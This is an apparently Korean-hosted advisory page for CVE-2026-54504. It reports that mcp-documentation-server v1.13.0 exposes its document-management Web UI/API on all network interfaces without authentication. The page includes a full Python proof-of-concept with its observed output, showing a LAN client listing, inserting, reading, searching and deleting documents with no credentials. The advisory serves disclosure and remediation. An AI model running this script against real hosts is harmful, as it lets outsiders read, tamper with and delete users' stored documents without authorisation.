Kestrel
대시보드로 돌아가기
CVE-2026-54504HIGH· 8.8GHSA대응게시일: 2026. 07. 15.수정일: 2026. 07. 15.

@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.8high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터인접
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.18.8HIGH
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.

As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.

The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:

text
1http://localhost:3080

It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.

The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.

In src/server.ts, the Web UI is started unless START_WEB_UI=false:

text
1if (process.env.START_WEB_UI !== 'false') {
2 initializeDocumentManager().then(manager => {
3 return startWebServer(undefined, manager);
4 }).then(() => {
5 console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
6 })...
7}

In src/web-server.ts, the Express app appears to listen with only the port:

text
1const server = app.listen(PORT, () => {
2 console.log(`\n 🌐 MCP Documentation Server - Web UI`);
3 console.log(` ────────────────────────────────────`);
4 console.log(` Local: http://localhost:${PORT}`);
5 console.log(` Network: http://0.0.0.0:${PORT}\n`);
6});

With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:

text
1LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

The exposed API includes document-admin operations such as:

text
1GET /api/documents
2GET /api/documents/:id
3POST /api/documents
4POST /api/search-all
5DELETE /api/documents/:id
6GET /api/config

I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source
text
1cd ~/Desktop
2mkdir -p docsrv_repro_from_scratch
3cd docsrv_repro_from_scratch
4
5git clone https://github.com/andrea9293/mcp-documentation-server.git
6cd mcp-documentation-server
7
8git rev-parse HEAD
9npm install --no-audit --no-fund
10npm run build
11
12ls -l dist/server.js
13node -p "require('./package.json').version"

Expected version:

text
11.13.0
2. Start the server with default Web UI behavior

Do not set START_WEB_UI=false.

bash
1rm -rf /tmp/docsrv_base
2mkdir -p /tmp/docsrv_base
3
4MCP_BASE_DIR=/tmp/docsrv_base \
5WEB_PORT=3080 \
6node dist/server.js \
7 </dev/null \
8 >/tmp/docsrv_stdout.log \
9 2>/tmp/docsrv_stderr.log &
10
11DOCSRV_PID=$!
12sleep 5
13
14echo "DOCSRV_PID=$DOCSRV_PID"
15ps -p "$DOCSRV_PID" -o pid,stat,cmd
3. Confirm that the Web UI/API binds to all interfaces
text
1ss -ltnp | grep ':3080' || true

Observed:

text
1LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP
bash
1LAN_IP=$(hostname -I | awk '{print $1}')
2echo "LAN_IP=$LAN_IP"
3
4curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
5echo

Observed:

text
1LAN_IP=10.0.250.230
2{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}

No authentication header was sent.

5. Full unauthenticated document-admin PoC
python
1cat > /tmp/docsrv_unauth_poc.py <<'PY'
2#!/usr/bin/env python3
3import json
4import sys
5import urllib.request
6import urllib.error
7
8HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
9PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
10BASE = f"http://{HOST}:{PORT}"
11
12def req(method, path, body=None):
13 data = json.dumps(body).encode() if body is not None else None
14 headers = {"Content-Type": "application/json"} if body is not None else {}
15 r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
16 with urllib.request.urlopen(r, timeout=10) as resp:
17 raw = resp.read().decode()
18 try:
19 return resp.status, json.loads(raw or "null")
20 except Exception:
21 return resp.status, raw
22
23def main():
24 print(f"[poc] target = {BASE}")
25 print("[poc] no Authorization header is sent")
26
27 status, config = req("GET", "/api/config")
28 print(f"[0] config: HTTP {status}, {config}")
29
30 status, docs = req("GET", "/api/documents")
31 print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")
32
33 marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api"
34 body = {
35 "title": "network-inserted-test-document",
36 "content": marker + "\nThis document was inserted through the unauthenticated network API.",
37 "metadata": {"source": "unauth-network-poc"}
38 }
39
40 status, added = req("POST", "/api/documents", body)
41 print(f"[2] add document: HTTP {status}, response={added}")
42
43 doc_id = None
44 if isinstance(added, dict):
45 doc_id = added.get("id") or added.get("document", {}).get("id")
46
47 if not doc_id:
48 status, docs = req("GET", "/api/documents")
49 for d in docs:
50 if d.get("title") == "network-inserted-test-document":
51 doc_id = d.get("id")
52 break
53
54 if not doc_id:
55 raise RuntimeError("could not locate inserted document id")
56
57 print(f"[2] inserted id={doc_id}")
58
59 status, doc = req("GET", f"/api/documents/{doc_id}")
60 content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
61 print(f"[3] read document: HTTP {status}, marker_present={marker in content}")
62
63 status, hits = req("POST", "/api/search-all", {
64 "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted",
65 "limit": 5
66 })
67 print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")
68
69 status, deleted = req("DELETE", f"/api/documents/{doc_id}")
70 print(f"[5] delete document: HTTP {status}, response={deleted}")
71
72 print("[poc] DONE")
73
74if __name__ == "__main__":
75 main()
76PY
77
78chmod +x /tmp/docsrv_unauth_poc.py

Run against localhost:

text
1python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080

Observed:

text
1[poc] target = http://127.0.0.1:3080
2[poc] no Authorization header is sent
3[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
4[1] list documents: HTTP 200, count=0
5[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
6[2] inserted id=ef13280d7441d5bb
7[3] read document: HTTP 200, marker_present=True
8[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
9[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
10[poc] DONE

Run the same PoC against the host's LAN IP:

bash
1LAN_IP=$(hostname -I | awk '{print $1}')
2python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080

Observed:

text
1[poc] target = http://10.0.250.230:3080
2[poc] no Authorization header is sent
3[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
4[1] list documents: HTTP 200, count=0
5[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
6[2] inserted id=ef13280d7441d5bb
7[3] read document: HTTP 200, marker_present=True
8[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
9[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
10[poc] DONE
6. Cleanup
bash
1kill "$DOCSRV_PID" 2>/dev/null || true
2fuser -k 3080/tcp 2>/dev/null || true
3rm -rf /tmp/docsrv_base
4rm -f /tmp/docsrv_unauth_poc.py
5rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log

Impact

This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API.

A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow:

  • reading document titles, previews, and full document contents;
  • searching across the entire document corpus;
  • inserting attacker-controlled documents into the corpus;
  • deleting documents;
  • tampering with the user's local knowledge base used by the MCP assistant.

This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks.

This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.

A safer default would be to bind the Web UI/API to 127.0.0.1 by default, and require an explicit opt-in such as WEB_BIND_HOST=0.0.0.0 for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.